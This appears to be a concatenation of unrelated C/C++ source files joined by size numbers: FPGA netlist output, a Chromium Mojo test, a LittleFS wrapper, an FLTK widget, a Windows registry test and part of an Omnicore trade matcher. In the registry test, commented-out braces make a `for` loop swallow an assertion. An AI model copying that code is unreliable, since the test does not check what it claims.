EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "types.h"
#include "globals.h"
#include "hard_blocks.h"
#include "memories.h"
STRING_CACHE *hard_block_names = NULL;
void cache_hard_block_names();
t_model_ports *get_model_port(t_model_ports *ports, const char *name)
{
while (ports && strcmp(ports->name, name))
ports = ports->next;
return ports;
}
void cache_hard_block_names()
{
t_model *hard_blocks = NULL;
hard_blocks = Arch.models;
hard_block_names = sc_new_string_cache();
while (hard_blocks)
{
sc_add_string(hard_block_names, hard_blocks->name);
hard_blocks = hard_blocks->next;
}
}
void register_hard_blocks()
{
cache_hard_block_names();
single_port_rams = find_hard_block("single_port_ram");
dual_port_rams = find_hard_block("dual_port_ram");
if (single_port_rams)
{
t_model_ports *hb_ports;
if (configuration.split_memory_width)
{
hb_ports = get_model_port(single_port_rams->inputs, "data");
hb_ports->size = 1;
hb_ports = get_model_port(single_port_rams->outputs, "out");
hb_ports->size = 1;
}
int split_depth = get_sp_ram_split_depth();
hb_ports = get_model_port(single_port_rams->inputs, "addr");
hb_ports->size = split_depth;
}
if (dual_port_rams)
{
t_model_ports *hb_ports;
if (configuration.split_memory_width)
{
hb_ports = get_model_port(dual_port_rams->inputs, "data1");
hb_ports->size = 1;
hb_ports = get_model_port(dual_port_rams->inputs, "data2");
hb_ports->size = 1;
hb_ports = get_model_port(dual_port_rams->outputs, "out1");
hb_ports->size = 1;
hb_ports = get_model_port(dual_port_rams->outputs, "out2");
hb_ports->size = 1;
}
int split_depth = get_dp_ram_split_depth();
hb_ports = get_model_port(dual_port_rams->inputs, "addr1");
hb_ports->size = split_depth;
hb_ports = get_model_port(dual_port_rams->inputs, "addr2");
hb_ports->size = split_depth;
}
}
void deregister_hard_blocks()
{
sc_free_string_cache(hard_block_names);
return;
}
t_model* find_hard_block(const char *name)
{
t_model *hard_blocks;
hard_blocks = Arch.models;
while (hard_blocks)
if (!strcmp(hard_blocks->name, name))
return hard_blocks;
else
hard_blocks = hard_blocks->next;
return NULL;
}
void define_hard_block(nnode_t *node, short /*type*/, FILE *out)
{
int i, j;
int index, port;
int count;
char buffer[MAX_BUF];
/* Assert that every hard block has at least an input and output */
oassert(node->input_port_sizes[0] > 0);
oassert(node->output_port_sizes[0] > 0);
//IF the hard_blocks is an adder or a multiplier, we ignore it.(Already print out in define_add_function and define_mult_function)
if(strcmp(node->related_ast_node->children[0]->types.identifier, "multiply") == 0 || strcmp(node->related_ast_node->children[0]->types.identifier, "adder") == 0)
return;
count = fprintf(out, "\n.subckt ");
count--;
count += fprintf(out, "%s", node->related_ast_node->children[0]->types.identifier);
/* print the input port mappings */
port = index = 0;
for (i = 0; i < node->num_input_pins; i++)
{
/* Check that the input pin is driven */
if (node->input_pins[i]->net->driver_pin == NULL)
{
printf("Signal %s is not driven. Odin will terminate.\n", node->input_pins[i]->name);
exit(1);
}
if (node->input_port_sizes[port] == 1)
j = sprintf(buffer, " %s=%s", node->input_pins[i]->mapping, node->input_pins[i]->net->driver_pin->node->name);
else
{
if (node->input_pins[i]->net->driver_pin->name != NULL)
j = sprintf(buffer, " %s[%d]=%s", node->input_pins[i]->mapping, index, node->input_pins[i]->net->driver_pin->name);
else
j = sprintf(buffer, " %s[%d]=%s", node->input_pins[i]->mapping, index, node->input_pins[i]->net->driver_pin->node->name);
}
if (count + j > 79)
{
fprintf(out, "\\\n");
count = 0;
}
count += fprintf(out, "%s", buffer);
index++;
if (node->input_port_sizes[port] == index)
{
index = 0;
port++;
}
}
/* print the output port mappings */
port = index = 0;
for (i = 0; i < node->num_output_pins; i++)
{
if (node->output_port_sizes[port] != 1)
j = sprintf(buffer, " %s[%d]=%s", node->output_pins[i]->mapping, index, node->output_pins[i]->name);
else
j = sprintf(buffer, " %s=%s", node->output_pins[i]->mapping, node->output_pins[i]->name);
if (count + j > 79)
{
fprintf(out, "\\\n");
count = 0;
}
count += fprintf(out, "%s", buffer);
index++;
if (node->output_port_sizes[port] == index)
{
index = 0;
port++;
}
}
count += fprintf(out, "\n\n");
return;
}
void output_hard_blocks(FILE *out)
{
t_model_ports *hb_ports;
t_model *hard_blocks;
char buffer[MAX_BUF];
int count;
int i;
oassert(out != NULL);
hard_blocks = Arch.models;
while (hard_blocks != NULL)
{
if (hard_blocks->used == 1) /* Hard Block is utilized */
{
//IF the hard_blocks is an adder or a multiplier, we ignore it.(Already print out in add_the_blackbox_for_adds and add_the_blackbox_for_mults)
if(strcmp(hard_blocks->name, "adder") == 0 ||strcmp(hard_blocks->name, "multiply") == 0)
{
hard_blocks = hard_blocks->next;
break;
}
fprintf(out, "\n.model %s\n", hard_blocks->name);
count = fprintf(out, ".inputs");
hb_ports = hard_blocks->inputs;
while (hb_ports != NULL)
{
for (i = 0; i < hb_ports->size; i++)
{
if (hb_ports->size == 1)
count = count + sprintf(buffer, " %s", hb_ports->name);
else
count = count + sprintf(buffer, " %s[%d]", hb_ports->name, i);
if (count >= 78)
count = fprintf(out, " \\\n%s", buffer) - 3;
else
fprintf(out, "%s", buffer);
}
hb_ports = hb_ports->next;
}
count = fprintf(out, "\n.outputs") - 1;
hb_ports = hard_blocks->outputs;
while (hb_ports != NULL)
{
for (i = 0; i < hb_ports->size; i++)
{
if (hb_ports->size == 1)
count = count + sprintf(buffer, " %s", hb_ports->name);
else
count = count + sprintf(buffer, " %s[%d]", hb_ports->name, i);
if (count >= 78)
count = fprintf(out, " \\\n%s", buffer) - 3;
else
fprintf(out, "%s", buffer);
}
hb_ports = hb_ports->next;
}
fprintf(out, "\n.blackbox\n.end\n\n");
}
hard_blocks = hard_blocks->next;
}
return;
}
void
instantiate_hard_block(nnode_t *node, short mark, netlist_t * /*netlist*/)
{
int i, port, index;
port = index = 0;
/* Give names to the output pins */
for (i = 0; i < node->num_output_pins; i++)
{
if (node->output_pins[i]->name == NULL)
node->output_pins[i]->name = make_full_ref_name(node->name, NULL, NULL, node->output_pins[i]->mapping, -1);
index++;
if (node->output_port_sizes[port] == index)
{
index = 0;
port++;
}
}
node->traverse_visited = mark;
return;
}
int
hard_block_port_size(t_model *hb, char *pname)
{
t_model_ports *tmp;
if (hb == NULL)
return 0;
/* Indicates that the port size is different for this hard block
* depending on the instance of the hard block. May want to extend
* this list of blocks in the future.
*/
if ((strcmp(hb->name, "single_port_ram") == 0) ||
(strcmp(hb->name, "dual_port_ram") == 0))
{
return -1;
}
tmp = hb->inputs;
while (tmp != NULL)
if ((tmp->name != NULL) && (strcmp(tmp->name, pname) == 0))
return tmp->size;
else
tmp = tmp->next;
tmp = hb->outputs;
while (tmp != NULL)
if ((tmp->name != NULL) && (strcmp(tmp->name, pname) == 0))
return tmp->size;
else
tmp = tmp->next;
return 0;
}
enum PORTS
hard_block_port_direction(t_model *hb, char *pname)
{
t_model_ports *tmp;
if (hb == NULL)
return ERR_PORT;
tmp = hb->inputs;
while (tmp != NULL)
if ((tmp->name != NULL) && (strcmp(tmp->name, pname) == 0))
return tmp->dir;
else
tmp = tmp->next;
tmp = hb->outputs;
while (tmp != NULL)
if ((tmp->name != NULL) && (strcmp(tmp->name, pname) == 0))
return tmp->dir;
else
tmp = tmp->next;
return ERR_PORT;
}
| 8,949 | 3,929 |
#include <map>
#include <string>
#include <vector>
// TODO make this a map so one can give a dict in python
struct bunchParameters {
// bucket number
int bucket;
// atomic mass number
double atomNumber;
// particle charge
int charge;
// number of macro particle to use
int nMacro;
// real number of particles
double nReal;
// bunch length
double sigs;
// random seed
int seed;
};
class Bunch {
public:
std::map<std::string, double> bunchParam;
std::map<std::string, std::vector<double>> tw;
std::map<std::string, double> twheader;
std::vector<std::vector<double>> distribution;
std::vector<std::vector<double>> emittances;
std::vector<std::vector<double>> ibsGrowthRates;
std::vector<std::vector<double>> ibsCoeff;
std::vector<int> histogramTime;
std::vector<double> sqrthistogram;
std::vector<int> debunchLosses;
std::map<std::string, std::vector<double>> bunchParametersLocal;
std::map<std::string, double> radiationParameters;
std::map<std::string, double> longitudinalParameters;
// constructor
Bunch(std::map<std::string, double> &,
std::map<std::string, std::vector<double>> &,
std::map<std::string, double> &, std::vector<double> &,
std::vector<double> &);
// helper functions
void resetDebunchLosses();
std::string get_date();
void getEmittance();
void getIBSGrowthRates(int);
void getIBSCoefficients();
void updateIBS(std::vector<double> &);
// set functions
void setBasic();
void setDistribution(std::vector<double> &h, std::vector<double> &v);
void setLongitudinalParameters(std::vector<double> &, std::vector<double> &);
void setRadiationParameters();
// print to screen methods
void printBunchParameters();
void printTwissHeader();
void printLongParam();
void printRadiationParameters();
void printDistribution();
void printEmittance();
void printIBSGrowthRates();
void printHistogramTime();
void printSqrtHistorgram();
void printDebunchLosses();
// write to file methods
void writeDistribution(int);
void writeEmittances();
void writeLocalParameters();
}; | 2,112 | 681 |
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "third_party/blink/renderer/platform/mojo/heap_mojo_associated_receiver.h"
#include "base/test/null_task_runner.h"
#include "mojo/public/cpp/bindings/associated_remote.h"
#include "mojo/public/interfaces/bindings/tests/sample_service.mojom-blink.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/blink/renderer/platform/context_lifecycle_notifier.h"
#include "third_party/blink/renderer/platform/heap/heap_test_utilities.h"
#include "third_party/blink/renderer/platform/heap/persistent.h"
#include "third_party/blink/renderer/platform/heap_observer_set.h"
#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h"
#include "third_party/blink/renderer/platform/mojo/mojo_binding_context.h"
#include "third_party/blink/renderer/platform/testing/mock_context_lifecycle_notifier.h"
#include "third_party/blink/renderer/platform/wtf/buildflags.h"
namespace blink {
namespace {
template <HeapMojoWrapperMode Mode>
class HeapMojoAssociatedReceiverGCBaseTest;
template <HeapMojoWrapperMode Mode>
class AssociatedReceiverOwner
: public GarbageCollected<AssociatedReceiverOwner<Mode>>,
public sample::blink::Service {
USING_PRE_FINALIZER(AssociatedReceiverOwner, Dispose);
public:
explicit AssociatedReceiverOwner(
MockContextLifecycleNotifier* context,
HeapMojoAssociatedReceiverGCBaseTest<Mode>* test = nullptr)
: associated_receiver_(this, context), test_(test) {
if (test_)
test_->set_is_owner_alive(true);
}
void Dispose() {
if (test_)
test_->set_is_owner_alive(false);
}
HeapMojoAssociatedReceiver<sample::blink::Service,
AssociatedReceiverOwner,
Mode>&
associated_receiver() {
return associated_receiver_;
}
void Trace(Visitor* visitor) const { visitor->Trace(associated_receiver_); }
private:
// sample::blink::Service implementation
void Frobinate(sample::blink::FooPtr foo,
sample::blink::Service::BazOptions options,
mojo::PendingRemote<sample::blink::Port> port,
sample::blink::Service::FrobinateCallback callback) override {}
void GetPort(mojo::PendingReceiver<sample::blink::Port> port) override {}
HeapMojoAssociatedReceiver<sample::blink::Service,
AssociatedReceiverOwner,
Mode>
associated_receiver_;
HeapMojoAssociatedReceiverGCBaseTest<Mode>* test_;
};
template <HeapMojoWrapperMode Mode>
class HeapMojoAssociatedReceiverGCBaseTest : public TestSupportingGC {
public:
base::RunLoop& run_loop() { return run_loop_; }
bool& disconnected() { return disconnected_; }
void set_is_owner_alive(bool alive) { is_owner_alive_ = alive; }
void ClearOwner() { owner_ = nullptr; }
protected:
void SetUp() override {
disconnected_ = false;
context_ = MakeGarbageCollected<MockContextLifecycleNotifier>();
owner_ =
MakeGarbageCollected<AssociatedReceiverOwner<Mode>>(context_, this);
scoped_refptr<base::NullTaskRunner> null_task_runner =
base::MakeRefCounted<base::NullTaskRunner>();
associated_remote_ = mojo::AssociatedRemote<sample::blink::Service>(
owner_->associated_receiver().BindNewEndpointAndPassRemote(
null_task_runner));
associated_remote_.set_disconnect_handler(WTF::Bind(
[](HeapMojoAssociatedReceiverGCBaseTest* associated_receiver_test) {
associated_receiver_test->run_loop().Quit();
associated_receiver_test->disconnected() = true;
},
WTF::Unretained(this)));
}
void TearDown() {
owner_ = nullptr;
PreciselyCollectGarbage();
}
Persistent<MockContextLifecycleNotifier> context_;
Persistent<AssociatedReceiverOwner<Mode>> owner_;
bool is_owner_alive_ = false;
base::RunLoop run_loop_;
mojo::AssociatedRemote<sample::blink::Service> associated_remote_;
bool disconnected_ = false;
};
template <HeapMojoWrapperMode Mode>
class HeapMojoAssociatedReceiverDestroyContextBaseTest
: public TestSupportingGC {
protected:
void SetUp() override {
context_ = MakeGarbageCollected<MockContextLifecycleNotifier>();
owner_ = MakeGarbageCollected<AssociatedReceiverOwner<Mode>>(context_);
scoped_refptr<base::NullTaskRunner> null_task_runner =
base::MakeRefCounted<base::NullTaskRunner>();
associated_remote_ = mojo::AssociatedRemote<sample::blink::Service>(
owner_->associated_receiver().BindNewEndpointAndPassRemote(
null_task_runner));
}
Persistent<MockContextLifecycleNotifier> context_;
Persistent<AssociatedReceiverOwner<Mode>> owner_;
mojo::AssociatedRemote<sample::blink::Service> associated_remote_;
};
} // namespace
class HeapMojoAssociatedReceiverGCWithContextObserverTest
: public HeapMojoAssociatedReceiverGCBaseTest<
HeapMojoWrapperMode::kWithContextObserver> {};
class HeapMojoAssociatedReceiverGCWithoutContextObserverTest
: public HeapMojoAssociatedReceiverGCBaseTest<
HeapMojoWrapperMode::kForceWithoutContextObserver> {};
class HeapMojoAssociatedReceiverDestroyContextWithContextObserverTest
: public HeapMojoAssociatedReceiverDestroyContextBaseTest<
HeapMojoWrapperMode::kWithContextObserver> {};
class HeapMojoAssociatedReceiverDestroyContextWithoutContextObserverTest
: public HeapMojoAssociatedReceiverDestroyContextBaseTest<
HeapMojoWrapperMode::kForceWithoutContextObserver> {};
// Make HeapMojoAssociatedReceiver with context observer garbage collected and
// check that the connection is disconnected right after the marking phase.
// TODO(1056170): Re-enable test.
#if !BUILDFLAG(USE_V8_OILPAN)
TEST_F(HeapMojoAssociatedReceiverGCWithContextObserverTest, ResetsOnGC) {
ClearOwner();
EXPECT_FALSE(disconnected());
PreciselyCollectGarbage();
run_loop().Run();
EXPECT_TRUE(disconnected());
CompleteSweepingIfNeeded();
}
#endif // !USE_V8_OILPAN
// Check that the owner
TEST_F(HeapMojoAssociatedReceiverGCWithContextObserverTest,
NoResetOnConservativeGC) {
auto* wrapper = owner_->associated_receiver().wrapper_.Get();
EXPECT_TRUE(owner_->associated_receiver().is_bound());
ClearOwner();
EXPECT_TRUE(is_owner_alive_);
// The stack scanning should find |wrapper| and keep the Wrapper alive.
ConservativelyCollectGarbage();
EXPECT_TRUE(wrapper->associated_receiver().is_bound());
EXPECT_TRUE(is_owner_alive_);
}
// Make HeapMojoAssociatedReceiver without context observer garbage collected
// and check that the connection is disconnected right after the marking phase.
// TODO(1056170): Re-enable test.
#if !BUILDFLAG(USE_V8_OILPAN)
TEST_F(HeapMojoAssociatedReceiverGCWithoutContextObserverTest, ResetsOnGC) {
ClearOwner();
EXPECT_FALSE(disconnected());
PreciselyCollectGarbage();
run_loop().Run();
EXPECT_TRUE(disconnected());
CompleteSweepingIfNeeded();
}
#endif // !USE_V8_OILPAN
// Destroy the context with context observer and check that the connection is
// disconnected.
TEST_F(HeapMojoAssociatedReceiverDestroyContextWithContextObserverTest,
ResetsOnContextDestroyed) {
EXPECT_TRUE(owner_->associated_receiver().is_bound());
context_->NotifyContextDestroyed();
EXPECT_FALSE(owner_->associated_receiver().is_bound());
}
// Destroy the context without context observer and check that the connection is
// still connected.
TEST_F(HeapMojoAssociatedReceiverDestroyContextWithoutContextObserverTest,
ResetsOnContextDestroyed) {
EXPECT_TRUE(owner_->associated_receiver().is_bound());
context_->NotifyContextDestroyed();
EXPECT_TRUE(owner_->associated_receiver().is_bound());
}
} // namespace blink
| 7,847 | 2,448 |
#include "LittleFile1.hpp"
#include <limits>
#include <stdexcept>
#include <system_error>
#include "LittleFSErrorCategory.hpp"
LittleFile1::LittleFile1(lfs1_t & filesystem, std::string const & path, int flags) :
_filesystem(&filesystem),
_file(),
_open(false)
{
auto const result = lfs1_file_open(_filesystem, &_file, path.c_str(), flags);
if (result < 0)
{
throw std::system_error(result, littlefs_category(), "lfs1_file_open");
}
_open = true;
}
LittleFile1::~LittleFile1()
{
if (_open)
{
lfs1_file_close(_filesystem, &_file);
_open = false;
}
}
std::size_t LittleFile1::read(gsl::span<std::byte> buffer)
{
if (buffer.size() > std::numeric_limits<lfs1_size_t>::max())
{
throw std::length_error("Read buffer too large");
}
auto const read =
lfs1_file_read(_filesystem, &_file, buffer.data(), static_cast<lfs1_size_t>(buffer.size()));
if (read < 0)
{
throw std::system_error(read, littlefs_category(), "lfs1_file_read");
}
return static_cast<std::size_t>(read);
}
std::size_t LittleFile1::write(gsl::span<std::byte const> buffer)
{
if (buffer.size() > std::numeric_limits<lfs1_size_t>::max())
{
throw std::length_error("Write buffer too large");
}
auto const read =
lfs1_file_write(_filesystem, &_file, buffer.data(), static_cast<lfs1_size_t>(buffer.size()));
if (read < 0)
{
throw std::system_error(read, littlefs_category(), "lfs1_file_write");
}
return static_cast<std::size_t>(read);
}
std::size_t LittleFile1::size() const
{
auto const file_size = lfs1_file_size(_filesystem, &_file);
if (file_size < 0)
{
throw std::system_error(file_size, littlefs_category(), "lfs1_file_size");
}
return static_cast<std::size_t>(file_size);
}
std::size_t LittleFile1::position() const
{
auto const file_position = lfs1_file_tell(_filesystem, &_file);
if (file_position < 0)
{
throw std::system_error(file_position, littlefs_category(), "lfs1_file_tell");
}
return static_cast<std::size_t>(file_position);
}
| 2,149 | 789 |
//
// "$Id: BarGroup.cxx 5895 2007-06-08 18:17:53Z spitzak $"
//
// Copyright 1998-2006 by Bill Spitzak and others.
//
// This library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Library General Public
// License as published by the Free Software Foundation; either
// version 2 of the License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// Library General Public License for more details.
//
// You should have received a copy of the GNU Library General Public
// License along with this library; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
// USA.
//
// Please report all bugs and problems to "fltk-bugs@fltk.org".
//
// Based on Frametab V2 contributed by Curtis Edwards (curt1@trilec.com)
#include <fltk/BarGroup.h>
#include <fltk/Box.h>
#include <fltk/events.h>
#include <fltk/damage.h>
#include <fltk/draw.h>
using namespace fltk;
static void revert(Style *s) {
s->box_ = THIN_UP_BOX;
//s->box_ = FLAT_BOX;
s->color_ = GRAY75;
s->labelsize_ = 10;
}
static NamedStyle style("BarGroup", revert, &BarGroup::default_style);
NamedStyle* BarGroup::default_style = &::style;
BarGroup::BarGroup(int x, int y, int w, int h, const char* title, bool begin)
: Group(x, y, w, h, title, begin)
{
resizable(0);
style(default_style);
open_ = true;
highlighted = false;
pushed = false;
glyph_size_ = 10;
saved_size = h;
align(ALIGN_INSIDE);
}
void BarGroup::glyph_box(Rectangle& r) const {
int z = open_ ? glyph_size_ : saved_size;
int w = this->w();
int h = this->h();
if (horizontal()) w = z; else h = z;
r.set(0,0,w,h); //box()->inset(r);
}
int BarGroup::handle(int event)
{
Rectangle r;
switch (event) {
case ENTER:
case MOVE:
if (takesevents()) {
glyph_box(r);
bool hl = event_inside(r);
if (hl != highlighted) {
highlighted = hl;
if (highlight_color()) redraw(DAMAGE_HIGHLIGHT);
}
if (hl) {fltk::belowmouse(this); return 1;}
}
break;
case LEAVE:
if (highlighted) {
highlighted = false;
redraw(DAMAGE_HIGHLIGHT);
}
break;
case PUSH:
glyph_box(r);
if (event_inside(r)) {
pushed = highlighted = true;
redraw(DAMAGE_HIGHLIGHT);
return true;
}
break;
case DRAG:
glyph_box(r);
if (event_inside(r)) {
if (!pushed) {
pushed = highlighted = true;
redraw(DAMAGE_HIGHLIGHT);
}
} else {
if (pushed) {
pushed = false;
redraw(DAMAGE_HIGHLIGHT);
}
}
return true;
case RELEASE:
if (pushed) {
opened(!open_);
pushed = false;
highlighted = event_inside(fltk::Rectangle(glyph_size_, glyph_size_));
redraw(DAMAGE_HIGHLIGHT);
do_callback();
} else if (highlighted) {
highlighted = false;
redraw(DAMAGE_HIGHLIGHT);
}
return true;
case SHORTCUT:
return Group::handle(event);
}
if (open_) return Group::handle(event);
else return 0;
}
void BarGroup::draw()
{
if (open_) {
if (damage() & ~DAMAGE_HIGHLIGHT) {
// make it not draw the inside label:
//int saved = flags(); align(ALIGN_TOP);
Group::draw();
//flags(saved);
}
} else if (damage() & ~(DAMAGE_CHILD|DAMAGE_HIGHLIGHT)) {
clear_flag(HIGHLIGHT);
draw_box();
// draw the label inside it:
Rectangle r(w(),h());
Flags flags = this->flags();
drawstyle(style(), flags|OUTPUT);
box()->inset(r);
if (horizontal()) {
r.x(saved_size); r.w(r.w()-saved_size);
flags &= ~(ALIGN_TOP|ALIGN_BOTTOM);
flags |= ALIGN_LEFT|ALIGN_INSIDE;
} else {
r.y(saved_size); r.h(r.h()-saved_size);
}
draw_label(r, flags);
}
// draw the open/close button:
if (damage() & (DAMAGE_EXPOSE|DAMAGE_HIGHLIGHT|DAMAGE_ALL)) {
Flags flags = OUTPUT;
if (pushed) flags |= PUSHED;
if (highlighted) flags |= HIGHLIGHT;
drawstyle(style(), flags);
Rectangle r; glyph_box(r);
draw_glyph(ALIGN_INSIDE|(horizontal()?ALIGN_RIGHT:ALIGN_BOTTOM), r);
}
}
bool BarGroup::opened(bool v)
{
if (open_) {
if (v) return false;
open_ = false;
if (horizontal()) { // horizontal
saved_size = h();
Widget::resize(w(), glyph_size_);
} else {
saved_size = w();
Widget::resize(glyph_size_, h());
}
} else {
if (!v) return false;
open_ = true;
if (horizontal()) // horizontal
Widget::resize(w(), saved_size);
else
Widget::resize(saved_size, h());
}
relayout();
redraw();
return true;
}
// Don't move widgets around while we are closed!
void BarGroup::layout() {
if (open_) Group::layout();
else Widget::layout();
}
| 4,887 | 1,880 |
#include "stdafx.h"
#include "Test_Registry.h"
#include "TUtils.h"
#include "TConstants.h"
using namespace std;
using namespace WinReg;
using namespace TConst;
TEST_F(Test_Registry_SetSBinaryValue, when_calling_setbinaryvalue_with_valid_parameters_values_expect_no_exception)
{
try
{
Registry::SetBinaryValue(eHKey::eHKeyUsers, WS_TEST_SUBKEY, WS_BINARY_VALUENAME, VUC_TESTVAL_1);
vector<BYTE> vucRegVal{ Registry::GetBinaryValue(eHKey::eHKeyUsers, WS_TEST_SUBKEY, WS_BINARY_VALUENAME) };
for (const auto &val : vucRegVal)
//{
// wcout << L"[ VALUE ] " << val << endl;
//}
ASSERT_EQ(vucRegVal, VUC_TESTVAL_1) << "[ FAILED ] vucRegVal is not equal to VUC_TESTVAL_1";
Registry::SetBinaryValue(eHKey::eHKeyUsers, WS_TEST_SUBKEY, WS_BINARY_VALUENAME, VUC_TESTVAL_2);
vucRegVal = Registry::GetBinaryValue(eHKey::eHKeyUsers, WS_TEST_SUBKEY, WS_BINARY_VALUENAME);
//for (const auto &val : vucRegVal)
//{
// wcout << L"[ VALUE ] " << val << endl;
//}
ASSERT_EQ(vucRegVal, VUC_TESTVAL_2) << "[ FAILED ] vwsRegVal is not equal to VUC_TESTVAL_1";
}
catch (exception &ex)
{
ASSERT_TRUE(false) << "[EXCEPTION ] " << TUtils::ErrMsg(ex);
}
catch (...)
{
ASSERT_TRUE(false) << "[EXCEPTION ] Unknown exception";
}
}
TEST_F(Test_Registry_SetSBinaryValue, when_calling_setbinaryvalue_with_invalid_hkey_expect_exception)
{
try
{
Registry::SetBinaryValue(eHKey::eHkeyNotDefined, WS_TEST_SUBKEY, WS_BINARY_VALUENAME, VUC_TESTVAL_1);
ASSERT_FALSE(true) << "[ FAILED ] Expected an exception";
}
catch (exception &ex)
{
ASSERT_TRUE(TUtils::InString(TUtils::ErrMsg(ex), WS_INVALID_PARAM_VALUE)) << "[EXCEPTION ] " << TUtils::ErrMsg(ex);
}
catch (...)
{
ASSERT_TRUE(false) << "[EXCEPTION ] Unknown exception";
}
} | 1,764 | 771 |
#include <bits/stdc++.h>
using namespace std;
int main()
{
int i,j;
for (i = 7; i >=1; i--)
{
for (j = 1; j <= i; j++)
{
cout<<'S';
}
cout<<endl;
}
for(i = 2; i <= 7; i++)
{
for (j = 1;j <= i; j++)
{
cout<<'S';
}
cout<<endl;
}
}
| 367 | 150 |
#include "omnicore/mdex.h"
#include "omnicore/errors.h"
#include "omnicore/log.h"
#include "omnicore/omnicore.h"
#include "omnicore/rules.h"
#include "omnicore/sp.h"
#include "omnicore/tx.h"
#include "omnicore/uint256_extensions.h"
#include "arith_uint256.h"
#include "chain.h"
#include "tinyformat.h"
#include "uint256.h"
#include "omnicore/tradelayer_matrices.h"
#include "omnicore/externfns.h"
#include "omnicore/operators_algo_clearing.h"
#include "validation.h"
#include <univalue.h>
#include <boost/lexical_cast.hpp>
#include <boost/multiprecision/cpp_int.hpp>
#include <boost/rational.hpp>
#include <openssl/sha.h>
#include <assert.h>
#include <stdint.h>
#include <iostream>
#include <fstream>
#include <limits>
#include <map>
#include <set>
#include <string>
typedef boost::multiprecision::cpp_dec_float_100 dec_float;
typedef boost::multiprecision::checked_int128_t int128_t;
using namespace mastercore;
//! Number of digits of unit price
#define DISPLAY_PRECISION_LEN 50
//! Global map for price and order data
md_PropertiesMap mastercore::metadex;
extern volatile uint64_t marketPrice;
extern volatile int idx_q;
extern int64_t factorE;
extern uint64_t marketP[NPTYPES];
extern int expirationAchieve;
extern std::vector<std::map<std::string, std::string>> path_ele;
extern int n_cols;
extern int n_rows;
extern MatrixTLS *pt_ndatabase;
md_PricesMap* mastercore::get_Prices(uint32_t prop)
{
md_PropertiesMap::iterator it = metadex.find(prop);
if (it != metadex.end()) return &(it->second);
return (md_PricesMap*) NULL;
}
md_Set* mastercore::get_Indexes(md_PricesMap* p, rational_t price)
{
md_PricesMap::iterator it = p->find(price);
if (it != p->end()) return &(it->second);
return (md_Set*) NULL;
}
/********************************************************/
/** New things for Contracts */
cd_PropertiesMap mastercore::contractdex;
cd_PricesMap *mastercore::get_PricesCd(uint32_t prop)
{
cd_PropertiesMap::iterator it = contractdex.find(prop);
if (it != contractdex.end()) return &(it->second);
return (cd_PricesMap*) NULL;
}
cd_Set *mastercore::get_IndexesCd(cd_PricesMap *p, uint64_t price)
{
cd_PricesMap::iterator it = p->find(price);
if (it != p->end()) return &(it->second);
return (cd_Set*) NULL;
}
void mastercore::LoopBiDirectional(cd_PricesMap* const ppriceMap, uint8_t trdAction, MatchReturnType &NewReturn, CMPContractDex* const pnew, const uint32_t propertyForSale)
{
cd_PricesMap::iterator it_fwdPrices;
cd_PricesMap::reverse_iterator it_bwdPrices;
std::vector<std::map<std::string, std::string>>::iterator it_path_ele;
/** Calling for settlement algorithm when the expiration date has been achieved */
if ( expirationAchieve )
{
PrintToLog("expirationAchieve: %d\n", expirationAchieve);
// PrintToConsole("Path for Settlement:\n");
// for (it_path_ele = path_ele.begin(); it_path_ele != path_ele.end(); ++it_path_ele) printing_edges_database(*it_path_ele);
// cout << "\n";
pt_ndatabase = new MatrixTLS(path_ele.size(), n_cols); MatrixTLS &ndatabase = *pt_ndatabase;
MatrixTLS M_file(path_ele.size(), n_cols);
fillingMatrix(M_file, ndatabase, path_ele);
n_rows = size(M_file, 0);
PrintToLog("Matrix for Settlement: dim = (%d, %d)\n\n", n_rows, n_cols);
printing_matrix(M_file);
cout << "\n\n";
PrintToLog("\nCalling the Settlement Algorithm:\n\n");
settlement_algorithm_fifo(M_file);
}
if ( trdAction == BUY )
{
for (it_fwdPrices = ppriceMap->begin(); it_fwdPrices != ppriceMap->end(); ++it_fwdPrices)
{
const uint64_t sellerPrice = it_fwdPrices->first;
if ( pnew->getEffectivePrice() < sellerPrice )
continue;
x_TradeBidirectional(it_fwdPrices, it_bwdPrices, trdAction, pnew, sellerPrice, propertyForSale, NewReturn);
}
}
else
{
for (it_bwdPrices = ppriceMap->rbegin(); it_bwdPrices != ppriceMap->rend(); ++it_bwdPrices)
{
const uint64_t sellerPrice = it_bwdPrices->first;
if ( pnew->getEffectivePrice() > sellerPrice )
continue;
x_TradeBidirectional(it_fwdPrices, it_bwdPrices, trdAction, pnew, sellerPrice, propertyForSale, NewReturn);
}
}
}
void mastercore::x_TradeBidirectional(typename cd_PricesMap::iterator &it_fwdPrices, typename cd_PricesMap::reverse_iterator &it_bwdPrices, uint8_t trdAction, CMPContractDex* const pnew, const uint64_t sellerPrice, const uint32_t propertyForSale, MatchReturnType &NewReturn)
{
cd_Set* const pofferSet = trdAction == BUY ? &(it_fwdPrices->second) : &(it_bwdPrices->second);
/** At good (single) price level and property iterate over offers looking at all parameters to find the match */
cd_Set::iterator offerIt = pofferSet->begin();
while ( offerIt != pofferSet->end() ) /** Specific price, check all properties */
{
const CMPContractDex* const pold = &(*offerIt);
assert(pold->getEffectivePrice() == sellerPrice);
std::string tradeStatus = pold->getEffectivePrice() == sellerPrice ? "Matched" : "NoMatched";
/** Match Conditions */
bool boolProperty = pold->getProperty() != propertyForSale;
bool boolTrdAction = pold->getTradingAction() == pnew->getTradingAction();
bool boolEffPrice = pnew->getEffectivePrice() != pold->getEffectivePrice();
bool boolAddresses = pold->getAddr() == pnew->getAddr();
